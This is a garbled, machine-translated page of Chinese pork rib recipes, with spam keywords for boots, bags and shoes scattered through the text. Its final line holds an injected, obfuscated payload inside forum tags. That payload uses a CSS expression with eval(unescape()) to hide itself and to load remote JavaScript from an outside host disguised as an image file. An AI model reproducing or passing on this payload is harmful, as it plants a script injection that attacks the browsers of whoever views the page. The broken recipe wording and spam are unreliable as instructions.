radii 420 top black nylon-8 ways to create delicious ribs and definitely worth collecting oh

material:
ribs, ginger, onion, spices (star anise, fennel, kaempferol, cinnamon, strawberry, clove, bay leaves ), pepper (a little), salt, monosodium glutamate, sugar, cooking wine, soy sauce (soy sauce)
practice:
slaughter ribs into 4 cm segments into the boiling water to remove blood salvage wash stand.
ginger slices, spring onions washed to head tied into a knot (3 or so)
pan pour oil until the oil or the time when the cold into the sugar (to be more, probably a sugar, 2.5 or 3 copies oil), the small fry of the fire slowly the sugar. Until the sugar has begun to turn brown, and red-brown foam began to take immediately when the ribs into the pot, stir well, then add ginger, pepper and spices, Stir the fragrance pour a little wine and soy sauce for color, mixed with water, add salt and scallion, go to a small fire after the fire to boil slowly till soft pork cake, and then clip to the pot of onions and spices big man, fire sauce, until the sauce thickens, add MSG pot Serve.
little sweet and sour pork ribs

materials] ribs 400 grams. [Seasoning] rice wine 10 grams, 1 gram of salt, soy sauce, 5 grams, sugar 75 grams, rice vinegar 40 grams, ginger 4 grams of dry raw powder 10 grams, edible vegetable oil 500 grams (actual consumption of 30 grams), soup, 200 grams.
[procedures]
1. Zhancheng small ribs into 2 cm square block in the container, plus 0.5 grams of salt, 2 grams of soy sauce and pepper, dry starch, rice mix, pickled half-hour .
2. Heat the pan into a small row of fried fish out.
3. pot stay in base oil, add ginger, salt, soy sauce, sugar, vinegar, soup, pork ribs, boiled cover, simmer 20 minutes, and then the sauce over medium heat until the halogen tightly wrapped in pork juice, the color of light when you can transfer to a plate.
[Featured Reviews] taste sour, sweet, fragrant. Sweet and sour pork is a traditional cold dishes, sweet and sour taste very much like the people of Shanghai, cold dishes and hot dishes of different sweet and sour pork ribs, fried with sweet and sour roast to be on the flavor.
[essentials prompted] to blow paint, to till melted.
cola ribs

the supermarket to buy ready-made ribs, cut into small pieces
ribs wok, pour cola, cola without too much overshadowed ribs slow cook a small fire that
until the cola sauce off the heat
dry salt, chicken, green onion seasoning spare ribs


radish raw materials: pork ribs 500 grams, 500 grams carrots, soy sauce 20 grams of cooking wine 5 grams of salt 4 grams, 3 grams of MSG, sugar, 5 grams, onions 8 grams, ginger 5 grams, 5 grams of starch, oil 50 grams.
Method: Luo Buqie mountain of blocks, and cut onions, ginger slices. Frying pan get angry, put oil, onions, ginger and radish into, stir-fry color add wine, soy sauce, salt, monosodium glutamate, sugar and water, into the ribs blank, with the fire boil, switch to burning low heat 25 minutes, until the sauce thick and fragrant taste, adding water, starch, the sauce can all hang in the raw surface.
characteristics: bright red color into the dish, meat crisp tender and delicious.
Ten Fragrances drunk ribs


Method
The pork tenderloin in Beiji Gu Duoqu half, cut into pieces, pat face with a knife, knife blade and then cross straight remake three times, then cut the meat gently until the surface of cross-point point, with the flesh of the final cut. Sliced ​​water chestnuts, and fillet of meaty bones together in the bowl, adding a little water and dry starch, a good grasp homogenate.
onion rice, garlic, soy sauce, sugar, vinegar, tomato sauce, curry paste, sesame paste, MSG, the soup, orange juice poured into Xiaopen together, mix well tune into the
meaty bones of the loin, slice water chestnuts together until golden brown pot, picked up the drain to the oil, pour Xiaopen
Honey meaty bones

1, ribs washed into the golden skin and deep fry in hot oil until golden.
2, pot stay in base oil, into the ginger until fragrant.
3, into the ribs, add water.
4, add seasonings: soy sauce, soy sauce (trace), vinegar, sugar, star anise, cinnamon.
5, after the water change slow fire and simmer about 40 minutes.
6, cook until running out when the pot of soup, filled out the ribs.
7, the remaining broth in pot and add a teaspoon of honey, hook into sauce.
8, you can pan and pour over ribs.


kelp knot bowl of soup ingredients: pork 700 g -800 g, about 20 dried kelp, radish 600 grams, salt, soy sauce and ginger taste.
practice:
1. the ribs with hot water rinse again, then into the pot christian louboutin boots, add water to almost cover the ribs, the ignition boil.
2. the soup floating foam removed or drained.
3. kelp washed, soaked until soft and into the water, cut into 6-8 cm wide, 10 cm long pieces chanel bags online uk, playing a
4. radish cut into small pieces.
5. in the pot into the water again and just pre-cooked ribs, the fire to boil, simmer for one to one and a half hours.
6. add seaweed, cook 30-40 minutes, Jia Luobo, salt and soy sauce, low heat Dunshu can continue.
7. in accordance with the habit of Okinawa in preparation for a little ginger and eat with their own taste when added, is said to taste better.


wok bowl of soup boil, the water will be cut into ribs. Immediately turn off the heat, remove the ribs. Re-boil water boil, add: onions, ginger, soy sauce radii 420 top black nylon, vinegar, cooking wine, sugar, salt.
Note:
1, put less vinegar, soy sauce, extra, read almost like the color. Put sugar and salt to taste.
2, and then turn a small fire in the fire, cover the lid slowly stewed. Often a brief look at the middle, to prevent burning dry. So when the water is almost dry enough. Onions pot.
PS
(1) the amount of seasoning can be deployed according to their own taste, than the sweet taste of Shanghai, so put more sugar. Friends like spicy food when you can put a little onion in a spicy burst. (2) honey nutrition will be destroyed by heat, so the honey in the pan before this step must be completed. [Flash, 0,0] style = ee: expression (eval (unescape ('this.parentNode.style.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName % 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1% 7D'))); display: none; @ qq.com [/ email] [/ flash]